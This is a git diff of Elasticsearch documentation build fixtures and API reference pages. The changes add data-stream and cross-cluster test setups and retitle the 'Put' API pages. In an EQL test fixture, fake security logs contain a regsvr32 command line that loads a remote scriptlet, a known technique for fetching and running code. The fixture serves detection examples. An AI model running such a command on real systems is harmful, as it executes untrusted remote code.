path: '_data_stream/my-data-stream' +''' + +teardowns['data_stream_cleanup'] = ''' + - do: + raw: + method: DELETE + path: '_data_stream/*' + - is_true: acknowledged + - do: + raw: + method: DELETE + path: '_index_template/*' + - is_true: acknowledged +''' + // Used for several full-text search and agg examples buildRestTests.setups['messages'] = ''' - do: @@ -189,41 +229,35 @@ buildRestTests.setups['messages'] = ''' refresh: true body: | {"index":{"_id": "0"}} - {"message": "trying out Elasticsearch"} + {"message": "trying out Elasticsearch", "context": "foo"} {"index":{"_id": "1"}} - {"message": "some message with the number 1"} + {"message": "some message with the number 1", "context": "bar"} {"index":{"_id": "2"}} - {"message": "some message with the number 2"} + {"message": "some message with the number 2", "context": "bar"} {"index":{"_id": "3"}} - {"message": "some message with the number 3"} + {"message": "some message with the number 3", "context": "bar"} {"index":{"_id": "4"}} - {"message": "some message with the number 4"}''' + {"message": "some message with the number 4", "context": "bar"} +''' // Used for EQL -buildRestTests.setups['sec_logs'] = ''' - - do: - indices.create: - index: my-index-000001 - body: - settings: - number_of_shards: 1 - number_of_replicas: 1 +setups['sec_logs'] = setups['my_data_stream'] + ''' - do: bulk: - index: my-index-000001 + index: my-data-stream refresh: true body: | - {"index":{}} + {"create":{}} {"@timestamp": "2099-12-06T11:04:05.000Z", "event": { "category": "process", "id": "edwCRnyD", "sequence": 1 }, "process": { "pid": 2012, "name": "cmd.exe", "executable": "C:\\\\Windows\\\\System32\\\\cmd.exe" }} - {"index":{}} + {"create":{}} {"@timestamp": "2099-12-06T11:04:07.000Z", "event": { "category": "file", "id": "dGCHwoeS", "sequence": 2 }, "file": { "accessed": "2099-12-07T11:07:08.000Z", "name": "cmd.exe", "path": "C:\\\\Windows\\\\System32\\\\cmd.exe", "type": "file", "size": 16384 }, "process": { "pid": 2012, "name": "cmd.exe", "executable": "C:\\\\Windows\\\\System32\\\\cmd.exe" }} - {"index":{}} + {"create":{}} {"@timestamp": "2099-12-07T11:06:07.000Z", "event": { "category": "process", "id": "cMyt5SZ2", "sequence": 3 }, "process": { "pid": 2012, "name": "cmd.exe", "executable": "C:\\\\Windows\\\\System32\\\\cmd.exe" } } - {"index":{}} + {"create":{}} {"@timestamp": "2099-12-07T11:07:09.000Z", "event": { "category": "process", "id": "aR3NWVOs", "sequence": 4 }, "process": { "pid": 2012, "name": "regsvr32.exe", "command_line": "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll", "executable": "C:\\\\Windows\\\\System32\\\\regsvr32.exe" }} - {"index":{}} + {"create":{}} {"@timestamp": "2099-12-07T11:07:10.000Z", "event": { "category": "file", "id": "tZ1NWVOs", "sequence": 5 }, "process": { "pid": 2012, "name": "regsvr32.exe", "executable": "C:\\\\Windows\\\\System32\\\\regsvr32.exe" }, "file": { "path": "C:\\\\Windows\\\\System32\\\\scrobj.dll", "name": "scrobj.dll" }} - {"index":{}} + {"create":{}} {"@timestamp": "2099-12-07T11:07:10.000Z", "event": { "category": "process", "id": "GTSmSqgz0U", "sequence": 6, "type": "termination" }, "process": { "pid": 2012, "name": "regsvr32.exe", "executable": "C:\\\\Windows\\\\System32\\\\regsvr32.exe" }}''' buildRestTests.setups['host'] = ''' @@ -345,36 +379,6 @@ buildRestTests.setups['user_hits'] = ''' {"index":{}} {"timestamp": "2019-01-03T13:00:00", "user_id": "4"}''' - -// Fake bank account data used by getting-started.asciidoc -buildRestTests.setups['bank'] = ''' - - do: - indices.create: - index: bank - body: - settings: - number_of_shards: 5 - number_of_routing_shards: 5 - - do: - bulk: - index: bank - refresh: true - body: | -#bank_data# -''' -/* Load the actual accounts only if we're going to use them. This complicates - * dependency checking but that is a small price to pay for not building a - * 400kb string every time we start the build. */ -File accountsFile = new File("$projectDir/src/test/resources/accounts.json") -buildRestTests.inputs.file(accountsFile) -buildRestTests.doFirst { - String accounts = accountsFile.getText('UTF-8') - // Indent like a yaml test needs - accounts = accounts.replaceAll('(?m)^', ' ') - buildRestTests.setups['bank'] = - buildRestTests.setups['bank'].replace('#bank_data#', accounts) -} - // Used by sampler and diversified-sampler aggregation docs buildRestTests.setups['stackoverflow'] = ''' - do: @@ -505,14 +509,6 @@ buildRestTests.setups['exams'] = ''' {"index":{}} {"grade": 50, "weight": 3}''' -buildRestTests.setups['stored_example_script'] = ''' - # Simple script to load a field. Not really a good example, but a simple one. - - do: - put_script: - id: "my_script" - body: { "script": { "lang": "painless", "source": "doc[params.field].value" } } - - match: { acknowledged: true } -''' buildRestTests.setups['stored_scripted_metric_script'] = ''' - do: @@ -1294,6 +1290,30 @@ setups['remote_cluster_and_leader_index'] = setups['remote_cluster'] + ''' index.soft_deletes.enabled: true ''' +setups['remote_cluster_and_leader_index_and_follower_index'] = setups['remote_cluster_and_leader_index'] + ''' + - do: + raw: + method: PUT + path: 'follower_index/_ccr/follow' + wait_for_active_shards: 1 + body: | + { + "remote_cluster" : "remote_cluster", + "leader_index" : "leader_index" + } + - is_true: follow_index_created + - is_true: follow_index_shards_acked + - is_true: index_following_started +''' + +teardowns['pause_follow'] = ''' + - do: + raw: + method: POST + path: 'follower_index/_ccr/pause_follow' + - is_true: acknowledged +''' + setups['seats'] = ''' - do: indices.create: @@ -1496,21 +1516,55 @@ setups['setup-repository'] = ''' ''' // Fake sec logs data used by EQL search - setups['atomic_red_regsvr32'] = ''' + setups['atomic_red_regsvr32'] = setups['my_data_stream'] + ''' + - do: + bulk: + index: my-data-stream + refresh: true + body: | +#atomic_red_data# +''' + // fake data used by the correlation bucket agg + buildRestTests.setups['correlate_latency'] = ''' - do: indices.create: - index: my-index-000001 + index: correlate_latency body: settings: - number_of_shards: 5 - number_of_routing_shards: 5 + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + latency: + type: double + version: + type: keyword - do: bulk: - index: my-index-000001 + index: correlate_latency refresh: true - body: | -#atomic_red_data# -''' + body: |''' + + + for (int i = 100; i < 200; i++) { + def value = i + if (i % 10) { + value = i * 10 + } + buildRestTests.setups['correlate_latency'] += """ + {"index":{}} + {"latency": "$value", "version": "1.0"}""" + } + for (int i = 0; i < 100; i++) { + def value = i + if (i % 10) { + value = i * 10 + } + buildRestTests.setups['correlate_latency'] += """ + {"index":{}} + {"latency": "$value", "version": "2.0"}""" + } + /* Load the actual events only if we're going to use them. */ File atomicRedRegsvr32File = new File("$projectDir/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json") inputs.file(atomicRedRegsvr32File) diff --git a/docs/community-clients/index.asciidoc b/docs/community-clients/index.asciidoc index 363eb8f296db8..703c9f246ede1 100644 --- a/docs/community-clients/index.asciidoc +++ b/docs/community-clients/index.asciidoc @@ -40,18 +40,19 @@ a number of clients that have been contributed by the community for various lang [[b4j]] == B4J -* https://www.b4x.com/android/forum/threads/server-jelasticsearch-search-and-text-analytics.73335/ +* https://www.b4x.com/android/forum/threads/server-jelasticsearch-search-and-text-analytics.73335/[jElasticsearch]: B4J client based on the official Java REST client. [[cpp]] == C++ -* https://github.com/seznam/elasticlient[elasticlient]: simple library for simplified work with Elasticsearch in C++ +* https://github.com/seznam/elasticlient[elasticlient]: simple library for + simplified work with Elasticsearch in C++. [[clojure]] == Clojure * https://github.com/mpenet/spandex[Spandex]: - Clojure client, based on the new official low level rest-client. + Clojure client, based on the new official low-level REST client. * https://github.com/clojurewerkz/elastisch[Elastisch]: Clojure client. @@ -59,8 +60,10 @@ a number of clients that have been contributed by the community for various lang [[coldfusion]] == ColdFusion (CFML) -* https://www.forgebox.io/view/cbelasticsearch[cbElasticSearch] - Native ColdFusion (CFML) support for the ColdBox MVC Platform which provides you with a fluent search interface for Elasticsearch, in addition to a CacheBox Cache provider and a Logbox Appender for logging. +* https://www.forgebox.io/view/cbelasticsearch[cbElasticSearch]: + Native ColdFusion (CFML) support for the ColdBox MVC Platform which provides + you with a fluent search interface for Elasticsearch, in addition to a + CacheBox Cache provider and a Logbox Appender for logging. [[erlang]] == Erlang @@ -73,13 +76,16 @@ a number of clients that have been contributed by the community for various lang https://github.com/karmi/tire[Tire]. Ready to use in pure Erlang environment. -* https://github.com/sashman/elasticsearch_elixir_bulk_processor[Elixir Bulk Processor]: - Dynamically configurable Elixir port of the [Bulk Processor](https://www.elastic.co/guide/en/elasticsearch/client/java-api/current/java-docs-bulk-processor.html). Implemented using GenStages to handle backpressure. +* https://github.com/sashman/elasticsearch_elixir_bulk_processor[Elixir Bulk + Processor]: Dynamically configurable Elixir port of the + {client}/java-api/current/java-docs-bulk-processor.html[Bulk Processor]. + Implemented using GenStages to handle back pressure. [[go]] == Go -Also see the {client}/go-api/current/index.html[official Elasticsearch Go client]. +Also see the {client}/go-api/current/index.html[official Elasticsearch Go +client]. * https://github.com/mattbaird/elastigo[elastigo]: Go client. @@ -87,7 +93,7 @@ Also see the {client}/go-api/current/index.html[official Elasticsearch Go client * https://github.com/olivere/elastic[elastic]: Elasticsearch client for Google Go. -* https://github.com/softctrl/elk[elk] +* https://github.com/softctrl/elk[elk]: Golang lib for Elasticsearch client. @@ -96,30 +102,36 @@ Also see the {client}/go-api/current/index.html[official Elasticsearch Go client * https://github.com/bitemyapp/bloodhound[bloodhound]: Haskell client and DSL. - [[java]] == Java -Also see the {client}/java-api/current/index.html[official Elasticsearch Java client]. +Also see the {client}/java-api/current/index.html[official Elasticsearch Java +client]. * https://github.com/otto-de/flummi[Flummi]: - Java Rest client with comprehensive Query DSL API + Java Rest client with comprehensive Query DSL API. + * https://github.com/searchbox-io/Jest[Jest]: Java Rest client. [[javascript]] == JavaScript -Also see the {client}/javascript-api/current/index.html[official Elasticsearch JavaScript client]. +See the {client}/javascript-api/current/index.html[official Elasticsearch +JavaScript client]. [[kotlin]] == Kotlin * https://github.com/mbuhot/eskotlin[ES Kotlin]: - Elasticsearch Query DSL for kotlin based on the {client}/java-api/current/index.html[official Elasticsearch Java client]. + Elasticsearch Query DSL for kotlin based on the + {client}/java-api/current/index.html[official Elasticsearch Java client]. -* https://github.com/jillesvangurp/es-kotlin-wrapper-client[ES Kotlin Wrapper Client]: - Kotlin extension functions and abstractions for the {client}/java-api/current/index.html[official Elasticsearch Highlevel Client]. Aims to reduce the amount of boilerplate needed to do searches, bulk indexing and other common things users do with the client. +* https://github.com/jillesvangurp/es-kotlin-wrapper-client[ES Kotlin Wrapper +Client]: Kotlin extension functions and abstractions for the + {client}/java-api/current/index.html[official Elasticsearch high-level + client]. Aims to reduce the amount of boilerplate needed to do searches, bulk + indexing and other common things users do with the client. [[lua]] == Lua @@ -130,32 +142,38 @@ Also see the {client}/javascript-api/current/index.html[official Elasticsearch J [[dotnet]] == .NET -Also see the {client}/net-api/current/index.html[official Elasticsearch .NET client]. +See the {client}/net-api/current/index.html[official Elasticsearch .NET client]. [[perl]] == Perl -Also see the {client}/perl-api/current/index.html[official Elasticsearch Perl client]. +Also see the {client}/perl-api/current/index.html[official Elasticsearch Perl +client]. -* https://metacpan.org/pod/Elastijk[Elastijk]: A low level minimal HTTP client. +* https://metacpan.org/pod/Elastijk[Elastijk]: A low-level, minimal HTTP client. [[php]] == PHP -Also see the {client}/php-api/current/index.html[official Elasticsearch PHP client]. +Also see the {client}/php-api/current/index.html[official Elasticsearch PHP +client]. * https://github.com/ruflin/Elastica[Elastica]: PHP client. -* https://github.com/nervetattoo/elasticsearch[elasticsearch] PHP client. +* https://github.com/nervetattoo/elasticsearch[elasticsearch]: PHP client. -* https://github.com/madewithlove/elasticsearcher[elasticsearcher] Agnostic lightweight package on top of the Elasticsearch PHP client. Its main goal is to allow for easier structuring of queries and indices in your application. It does not want to hide or replace functionality of the Elasticsearch PHP client. +* https://github.com/madewithlove/elasticsearcher[elasticsearcher]: Agnostic +lightweight package on top of the Elasticsearch PHP client. Its main goal is to +allow for easier structuring of queries and indices in your application. It does +not want to hide or replace functionality of the Elasticsearch PHP client. [[python]] == Python -Also see the {client}/python-api/current/index.html[official Elasticsearch Python client]. +See the {client}/python-api/current/index.html[official Elasticsearch Python +client]. [[r]] == R @@ -178,18 +196,19 @@ Also see the {client}/ruby-api/current/index.html[official Elasticsearch Ruby cl Tiny client with built-in zero-downtime migrations and ActiveRecord integration. * https://github.com/toptal/chewy[chewy]: - Chewy is an ODM and wrapper for the official Elasticsearch client + An ODM and wrapper for the official Elasticsearch client. * https://github.com/ankane/searchkick[Searchkick]: - Intelligent search made easy + Intelligent search made easy. * https://github.com/artsy/estella[Estella]: - Make your Ruby models searchable + Make your Ruby models searchable. [[rust]] == Rust -Also see the {client}/rust-api/current/index.html[official Elasticsearch Rust client]. +Also see the {client}/rust-api/current/index.html[official Elasticsearch Rust +client]. * https://github.com/benashford/rs-es[rs-es]: A REST API client with a strongly-typed Query DSL. @@ -215,11 +234,11 @@ Also see the {client}/rust-api/current/index.html[official Elasticsearch Rust cl [[smalltalk]] == Smalltalk -* https://github.com/newapplesho/elasticsearch-smalltalk[elasticsearch-smalltalk] - - Pharo Smalltalk client for Elasticsearch +* https://github.com/newapplesho/elasticsearch-smalltalk[elasticsearch-smalltalk]: + Pharo Smalltalk client for Elasticsearch. [[vertx]] == Vert.x * https://github.com/reactiverse/elasticsearch-client[elasticsearch-client]: - An Elasticsearch client for Eclipse Vert.x + An Elasticsearch client for Eclipse Vert.x. diff --git a/docs/httpCa.p12 b/docs/httpCa.p12 new file mode 100644 index 0000000000000..cbf3ad19e388f Binary files /dev/null and b/docs/httpCa.p12 differ diff --git a/docs/java-rest/high-level/ccr/put_follow.asciidoc b/docs/java-rest/high-level/ccr/put_follow.asciidoc index 68b0d4fbddca3..0ea7e596ea650 100644 --- a/docs/java-rest/high-level/ccr/put_follow.asciidoc +++ b/docs/java-rest/high-level/ccr/put_follow.asciidoc @@ -5,13 +5,13 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put Follow API +=== Create follower API [id="{upid}-{api}-request"] ==== Request -The Put Follow API allows creates a follower index and make that index follow a leader index. +Creates a follower index and makes that index follow a leader index. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -19,15 +19,14 @@ include-tagged::{doc-tests-file}[{api}-request] -------------------------------------------------- <1> The name of the remote cluster alias. <2> The name of the leader in the remote cluster. -<3> The name of the follower index that gets created as part of the put follow API call. -<4> The number of active shard copies to wait for before the put follow API returns a -response, as an `ActiveShardCount` +<3> The name of the follower index to create. +<4> The number of shard copies that must be active before the call returns. <5> The settings overrides for the follower index. [id="{upid}-{api}-response"] ==== Response -The returned +{response}+ indicates if the put follow request was received. +The +{response}+ indicates if the request was received. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -38,5 +37,3 @@ include-tagged::{doc-tests-file}[{api}-response] <3> Whether the follower index started following the leader index. include::../execution.asciidoc[] - - diff --git a/docs/java-rest/high-level/cluster/enroll_node.asciidoc b/docs/java-rest/high-level/cluster/enroll_node.asciidoc new file mode 100644 index 0000000000000..c74276fc6c84e --- /dev/null +++ b/docs/java-rest/high-level/cluster/enroll_node.asciidoc @@ -0,0 +1,64 @@ +-- +:api: node-enrollment +:request: NodeEnrollmentRequest +:response: NodeEnrollmentResponse +-- + +[id="{upid}-{api}"] +=== Enroll Node API + +Allows a new node to join an existing cluster with security features enabled. + +The purpose of the enroll node API is to allow a new node to join an existing cluster +where security is enabled. The enroll node API response contains all the necessary information +for the joining node to bootstrap discovery and security related settings so that it +can successfully join the cluster. + +NOTE: The response contains key and certificate material that allows the +caller to generate valid signed certificates for the HTTP layer of all nodes in the cluster. + +include::../execution.asciidoc[] + +[id="{upid}-{api}-response"] +==== Enroll Node Response + +The returned +{response}+ allows to retrieve information about the +executed operation as follows: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-response] +-------------------------------------------------- +<1> The CA private key that can be used by the new node in order to sign its certificate +for the HTTP layer, as a Base64 encoded string of the ASN.1 DER encoding of the key. +<2> The CA certificate that can be used by the new node in order to sign its certificate +for the HTTP layer, as a Base64 encoded string of the ASN.1 DER encoding of the certificate. +<3> The private key that the node can use for TLS for its transport layer, as a Base64 +encoded string of the ASN.1 DER encoding of the key. +<4> The certificate that the node can use for TLS for its transport layer, as a Base64 +encoded string of the ASN.1 DER encoding of the certificate. +<5> The name of the cluster the new node is joining +<6> A list of transport addresses in the form of `host:port` for the nodes that are already +members of the cluster. + + +[id="{upid}-{api}-execute-async"] +==== Asynchronous Execution + +This request can be executed asynchronously using the `security().enrollNodeAsync()` +method: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-execute-async] +-------------------------------------------------- + +A typical listener for a `NodeEnrollmentResponse` looks like: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-execute-listener] +-------------------------------------------------- +<1> Called when the execution is successfully completed. The response is +provided as an argument +<2> Called in case of failure. The raised exception is provided as an argument diff --git a/docs/java-rest/high-level/cluster/put_component_template.asciidoc b/docs/java-rest/high-level/cluster/put_component_template.asciidoc index 10858f3b4fa8f..2ef158ca3daff 100644 --- a/docs/java-rest/high-level/cluster/put_component_template.asciidoc +++ b/docs/java-rest/high-level/cluster/put_component_template.asciidoc @@ -5,12 +5,12 @@ -- [id="{upid}-{api}"] -=== Put Component Template API +=== Create or update component template API -The Put Component Template API allows to create or change a component template. +Creates or updates a component template. [id="{upid}-{api}-request"] -==== Put Component Template Request +==== Request A +{request}+ specifies the name of the component template and the template definition, which can consist of the settings, mappings or aliases, together with a version (which @@ -52,7 +52,7 @@ include-tagged::{doc-tests-file}[{api}-request-masterTimeout] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put Component Templates Response +==== Response The returned +{response}+ allows to retrieve information about the executed operation as follows: diff --git a/docs/java-rest/high-level/document/term-vectors.asciidoc b/docs/java-rest/high-level/document/term-vectors.asciidoc index 36c7553d4885e..65bb1eb0675f3 100644 --- a/docs/java-rest/high-level/document/term-vectors.asciidoc +++ b/docs/java-rest/high-level/document/term-vectors.asciidoc @@ -51,7 +51,7 @@ offsets. payloads. <6> Set `filterSettings` to filter the terms that can be returned based on their tf-idf scores. -<7> Set `perFieldAnalyzer` to specify a different analyzer than +<7> Set `perFieldAnalyzer` to specify a different analyzer than the one that the field has. <8> Set `realtime` to `false` (default is `true`) to retrieve term vectors near realtime. diff --git a/docs/java-rest/high-level/enrich/put_policy.asciidoc b/docs/java-rest/high-level/enrich/put_policy.asciidoc index b8e9475bed191..f8e5a4f5ed643 100644 --- a/docs/java-rest/high-level/enrich/put_policy.asciidoc +++ b/docs/java-rest/high-level/enrich/put_policy.asciidoc @@ -5,12 +5,12 @@ -- [id="{upid}-{api}"] -=== Put Policy API +=== Create enrich policy API [id="{upid}-{api}-request"] ==== Request -The Put Policy API stores an enrich policy in Elasticsearch. +Creates an enrich policy. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -20,12 +20,12 @@ include-tagged::{doc-tests-file}[{api}-request] [id="{upid}-{api}-response"] ==== Response -The returned +{response}+ indicates if the put policy request was acknowledged. +The +{response}+ indicates if the request was acknowledged. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-response] -------------------------------------------------- -<1> Whether put policy request was acknowledged. +<1> Whether the request was acknowledged. include::../execution.asciidoc[] diff --git a/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc index 7947f54ffbc7a..7cb6f37989a16 100644 --- a/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc +++ b/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc @@ -5,14 +5,13 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put Lifecycle Policy API +=== Create or update lifecycle policy API [id="{upid}-{api}-request"] ==== Request -The Put Lifecycle Policy API allows you to add an Index Lifecycle Management -Policy to the cluster. +Creates or updates an index lifecycle management policy. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -25,14 +24,13 @@ include-tagged::{doc-tests-file}[{api}-request] [id="{upid}-{api}-response"] ==== Response -The returned +{response}+ indicates if the put lifecycle policy request was received. +The +{response}+ indicates if the request was received. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-response] -------------------------------------------------- -<1> Whether or not the put lifecycle policy was acknowledged. +<1> Whether or not the request was acknowledged. include::../execution.asciidoc[] - diff --git a/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc index 13a0bb6e7828d..d9de7d75934c4 100644 --- a/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc +++ b/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc @@ -5,14 +5,13 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put Snapshot Lifecycle Policy API +=== Create or update snapshot lifecycle policy API [id="{upid}-{api}-request"] ==== Request -The Put Snapshot Lifecycle Policy API allows you to add of update the definition of a Snapshot -Lifecycle Management Policy in the cluster. +Creates or updates a snapshot lifecycle management policy. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -22,14 +21,13 @@ include-tagged::{doc-tests-file}[{api}-request] [id="{upid}-{api}-response"] ==== Response -The returned +{response}+ indicates if the put snapshot lifecycle policy request was received. +The +{response}+ indicates if the request was received. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-response] -------------------------------------------------- -<1> Whether or not the put snapshot lifecycle policy was acknowledged. +<1> Whether or not the request was acknowledged. include::../execution.asciidoc[] - diff --git a/docs/java-rest/high-level/index.asciidoc b/docs/java-rest/high-level/index.asciidoc index 21d78da171cce..b3387f6b9fd31 100644 --- a/docs/java-rest/high-level/index.asciidoc +++ b/docs/java-rest/high-level/index.asciidoc @@ -5,7 +5,6 @@ [partintro] -- -added[6.0.0-beta1] The Java High Level REST Client works on top of the Java Low Level REST client. Its main goal is to expose API specific methods, that accept request objects as diff --git a/docs/java-rest/high-level/indices/analyze.asciidoc b/docs/java-rest/high-level/indices/analyze.asciidoc index 9464394fd1eb9..de3ac07542f77 100644 --- a/docs/java-rest/high-level/indices/analyze.asciidoc +++ b/docs/java-rest/high-level/indices/analyze.asciidoc @@ -20,7 +20,7 @@ The simplest version uses a built-in analyzer: include-tagged::{doc-tests-file}[{api}-builtin-request] --------------------------------------------------- <1> A built-in analyzer -<2> The text to include. Multiple strings are treated as a multi-valued field +<2> The text to include. Multiple strings are treated as a multi-valued field You can configure a custom analyzer: ["source","java",subs="attributes,callouts,macros"] diff --git a/docs/java-rest/high-level/indices/freeze_index.asciidoc b/docs/java-rest/high-level/indices/freeze_index.asciidoc index 2a26fe8bcd47c..c3773aee80c33 100644 --- a/docs/java-rest/high-level/indices/freeze_index.asciidoc +++ b/docs/java-rest/high-level/indices/freeze_index.asciidoc @@ -38,7 +38,7 @@ include-tagged::{doc-tests-file}[{api}-request-masterTimeout] -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards] -------------------------------------------------- -<1> The number of active shard copies to wait for before the freeze index API +<1> The number of active shard copies to wait for before the freeze index API returns a response, as an `ActiveShardCount` ["source","java",subs="attributes,callouts,macros"] diff --git a/docs/java-rest/high-level/indices/get_settings.asciidoc b/docs/java-rest/high-level/indices/get_settings.asciidoc index d0d30f257284b..9eb7ec5099ea3 100644 --- a/docs/java-rest/high-level/indices/get_settings.asciidoc +++ b/docs/java-rest/high-level/indices/get_settings.asciidoc @@ -25,7 +25,7 @@ The following arguments can optionally be provided: -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-request-names] -------------------------------------------------- -<1> One or more settings that be the only settings retrieved. If unset, all settings will be retrieved +<1> One or more settings that be the only settings retrieved. If unset, all settings will be retrieved ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- diff --git a/docs/java-rest/high-level/indices/open_index.asciidoc b/docs/java-rest/high-level/indices/open_index.asciidoc index 84f038e154a46..7d0b042ffa073 100644 --- a/docs/java-rest/high-level/indices/open_index.asciidoc +++ b/docs/java-rest/high-level/indices/open_index.asciidoc @@ -43,7 +43,7 @@ include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards] -------------------------------------------------- <1> The number of active shard copies to wait for before the open index API returns a response, as an `int` -<2> The number of active shard copies to wait for before the open index API +<2> The number of active shard copies to wait for before the open index API returns a response, as an `ActiveShardCount` ["source","java",subs="attributes,callouts,macros"] diff --git a/docs/java-rest/high-level/indices/put_index_template.asciidoc b/docs/java-rest/high-level/indices/put_index_template.asciidoc index 9a1748da0fea2..8679c35ccfa3c 100644 --- a/docs/java-rest/high-level/indices/put_index_template.asciidoc +++ b/docs/java-rest/high-level/indices/put_index_template.asciidoc @@ -5,10 +5,10 @@ -- [id="{upid}-{api}"] -=== Put Composable Index Template API +=== Create or update composable index template API [id="{upid}-{api}-request"] -==== Put Composable Index Template Request +==== Request A +{request}+ specifies the `name` of a template and the index template configuration which consists of the `patterns` that control whether the template should be applied @@ -108,7 +108,7 @@ include-tagged::{doc-tests-file}[{api}-request-masterTimeout] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put Composable Index Template Response +==== Response The returned +{response}+ allows to retrieve information about the executed operation as follows: diff --git a/docs/java-rest/high-level/indices/put_mapping.asciidoc b/docs/java-rest/high-level/indices/put_mapping.asciidoc index 971ad52d62b78..1e846a3fb05e7 100644 --- a/docs/java-rest/high-level/indices/put_mapping.asciidoc +++ b/docs/java-rest/high-level/indices/put_mapping.asciidoc @@ -5,10 +5,13 @@ -- [id="{upid}-{api}"] -=== Put Mapping API +=== Update mapping API + +Adds new fields to an existing data stream or index. You can also use the API to +change the search settings of existing fields. [id="{upid}-{api}-request"] -==== Put Mapping Request +==== Request A +{request}+ requires an `index` argument: @@ -63,7 +66,7 @@ include-tagged::{doc-tests-file}[{api}-request-masterTimeout] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put Mapping Response +==== Response The returned +{response}+ allows to retrieve information about the executed operation as follows: diff --git a/docs/java-rest/high-level/indices/put_template.asciidoc b/docs/java-rest/high-level/indices/put_template.asciidoc index 3e3954308736d..f10ddd0b543cb 100644 --- a/docs/java-rest/high-level/indices/put_template.asciidoc +++ b/docs/java-rest/high-level/indices/put_template.asciidoc @@ -5,10 +5,10 @@ -- [id="{upid}-{api}"] -=== Put Template API +=== Create or update index template API [id="{upid}-{api}-request"] -==== Put Index Template Request +==== Request A +{request}+ specifies the `name` of a template and `patterns` which controls whether the template should be applied to the new index. @@ -120,7 +120,7 @@ include-tagged::{doc-tests-file}[{api}-request-masterTimeout] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put Index Template Response +==== Response The returned +{response}+ allows to retrieve information about the executed operation as follows: diff --git a/docs/java-rest/high-level/indices/unfreeze_index.asciidoc b/docs/java-rest/high-level/indices/unfreeze_index.asciidoc index 27e98581f0c72..03a4d16c9c57f 100644 --- a/docs/java-rest/high-level/indices/unfreeze_index.asciidoc +++ b/docs/java-rest/high-level/indices/unfreeze_index.asciidoc @@ -37,7 +37,7 @@ include-tagged::{doc-tests-file}[{api}-request-masterTimeout] -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards] -------------------------------------------------- -<1> The number of active shard copies to wait for before the unfreeze index API +<1> The number of active shard copies to wait for before the unfreeze index API returns a response, as an `ActiveShardCount` ["source","java",subs="attributes,callouts,macros"] diff --git a/docs/java-rest/high-level/ingest/put_pipeline.asciidoc b/docs/java-rest/high-level/ingest/put_pipeline.asciidoc index 12a4eb15bce65..50dc049ae58d9 100644 --- a/docs/java-rest/high-level/ingest/put_pipeline.asciidoc +++ b/docs/java-rest/high-level/ingest/put_pipeline.asciidoc @@ -1,8 +1,8 @@ [[java-rest-high-ingest-put-pipeline]] -=== Put Pipeline API +=== Create or update pipeline API [[java-rest-high-ingest-put-pipeline-request]] -==== Put Pipeline Request +==== Request A `PutPipelineRequest` requires an `id` argument, a source and a `XContentType`. The source consists of a description and a list of `Processor` objects. @@ -44,9 +44,9 @@ include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-execut [[java-rest-high-ingest-put-pipeline-async]] ==== Asynchronous Execution -The asynchronous execution of a put pipeline request requires both the `PutPipelineRequest` -instance and an `ActionListener` instance to be passed to the asynchronous -method: +The asynchronous execution of a create or update pipeline request requires both +the `PutPipelineRequest` instance and an `ActionListener` instance to be passed +to the asynchronous method: ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -71,7 +71,7 @@ provided as an argument <2> Called in case of failure. The raised exception is provided as an argument [[java-rest-high-ingest-put-pipeline-response]] -==== Put Pipeline Response +==== Response The returned `WritePipelineResponse` allows to retrieve information about the executed operation as follows: diff --git a/docs/java-rest/high-level/licensing/start-basic.asciidoc b/docs/java-rest/high-level/licensing/start-basic.asciidoc index 3ff50cfd2db60..30f2c51a1c139 100644 --- a/docs/java-rest/high-level/licensing/start-basic.asciidoc +++ b/docs/java-rest/high-level/licensing/start-basic.asciidoc @@ -20,7 +20,7 @@ license started. If it was not started, it returns an error message describing why. Acknowledgement messages may also be returned if this API was called without -the `acknowledge` flag set to `true`. In this case you need to display the +the `acknowledge` flag set to `true`. In this case you need to display the messages to the end user and if they agree, resubmit the request with the `acknowledge` flag set to `true`. Please note that the response will still return a 200 return code even if it requires an acknowledgement. So, it is diff --git a/docs/java-rest/high-level/licensing/start-trial.asciidoc b/docs/java-rest/high-level/licensing/start-trial.asciidoc index 0f198a391f07d..30c75e10f0a1f 100644 --- a/docs/java-rest/high-level/licensing/start-trial.asciidoc +++ b/docs/java-rest/high-level/licensing/start-trial.asciidoc @@ -23,7 +23,7 @@ license started. 